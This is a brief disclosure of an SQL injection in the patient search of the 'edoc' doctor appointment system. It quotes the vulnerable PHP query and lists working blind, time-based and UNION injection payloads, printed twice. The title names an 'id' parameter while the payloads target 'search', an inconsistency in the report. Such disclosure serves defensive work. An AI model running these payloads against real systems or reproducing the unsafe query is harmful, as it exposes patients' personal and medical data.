

SQL injection vulnerability exists in id parameter of /admin/patient.php file of edoc doctor appointment system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
if($_POST){
    $keyword=$_POST["search"];

    $sqlmain= "select * from patient where pemail='$keyword' or pname='$keyword' or pname like '$keyword%' or pname like '%$keyword' or pname like '%$keyword%' ";
```

```
Parameter: search (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: search=Test Patient' AND 7746=7746 AND 'SnQl'='SnQl

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=Test Patient' AND (SELECT 7429 FROM (SELECT(SLEEP(5)))Lhvu) AND 'ZmMW'='ZmMW

Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: search=Test Patient' UNION ALL SELECT CONCAT(0x7176707171,0x52794a5079766d6f4f4d7a4d6f496c4d6c53544d745148784f5a454374664a617057577041785541,0x71766b6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
```

“

Parameter: search (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: search=Test Patient' AND 7746=7746 AND 'SnQl'='SnQl

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: search=Test Patient' AND (SELECT 7429 FROM (SELECT(SLEEP(5)))Lhvu) AND 'ZmMW'='ZmMW

Type: UNION query

Title: Generic UNION query (NULL) - 8 columns

Payload: search=Test Patient' UNION ALL SELECT CONCAT(0x7176707171,0x52794a5079766d6f4f4d7a4d6f496c4d6c53544d745148784f5a454374664a617057577041785541,0x71766b6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -

“

Source Download:

<https://www.sourcecodester.com/hashenuara/simple-doctors-appointment-project.html>